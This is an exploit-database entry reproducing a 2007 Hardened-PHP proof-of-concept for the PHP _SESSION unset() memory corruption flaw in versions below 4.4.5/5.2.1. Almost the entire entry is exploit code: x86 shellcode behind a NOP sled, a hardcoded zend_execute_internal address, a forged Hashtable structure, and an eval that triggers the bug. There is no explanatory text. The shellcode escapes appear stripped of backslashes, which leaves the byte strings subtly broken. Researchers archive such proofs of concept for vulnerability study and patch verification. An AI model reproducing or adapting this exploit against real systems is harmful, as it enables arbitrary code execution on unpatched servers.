PHP < 4.4.5 / 5.2.1 _SESSION unset() Local Exploit

2007-03-26T00:00:00
ID SSV:6485
Type seebug
Reporter Root
Modified 2007-03-26T00:00:00

Description

No description provided by source.

                                        
                                            
                                                <?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ | || || _  //
  // | __ |/ _` || \'_|/ _` |/ -_)| \'  / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\\__,_||_|  \\__,_|\\___||_||_|\\___|\\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //                 PHP _SESSION unset() Vulnerability                 //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die(\"REMOVE THIS LINE\");

  $PHP_MAJOR_VERSION = PHP_VERSION;
  $PHP_MAJOR_VERSION = $PHP_MAJOR_VERSION[0];

  $shellcode = str_repeat(\"x90\", 256).
      \"x29xc9x83xe9xebxd9xeexd9x74x24xf4x5bx81x73x13x46\".
      \"x32x3cxe5x83xebxfcxe2xf4x77xe9x6fxa6x15x58x3ex8f\".
      \"x20x6axa5x6cxa7xffxbcx73x05x60x5ax8dx57x6ex5axb6\".
      \"xcfxd3x56x83x1ex62x6dxb3xcfxd3xf1x65xf6x54xedx06\".
      \"x8bxb2x6exb7x10x71xb5x04xf6x54xf1x65xd5x58x3exbc\".
      \"xf6x0dxf1x65x0fx4bxc5x55x4dx60x54xcax69x41x54x8d\".
      \"x69x50x55x8bxcfxd1x6exb6xcfxd3xf1x65\".
      ($PHP_MAJOR_VERSION==4?\"x18xb0x53\":\"x18xb0x83\");

  $zend_execute_internal = 0x08345b08;

  $Hashtable = pack(\"LLLLLLLLLCCC\", 2, 1, 0, 0, 0, $zend_execute_internal, 0, $zend_execute_internal, 0x66666666, 0, 0, 0);

  eval(\'
  session_start();
  unset($HTTP_SESSION_VARS);
  unset($_SESSION);
  $x = \"\'.$Hashtable.\'\";
  session_register($shellcode);\');
?>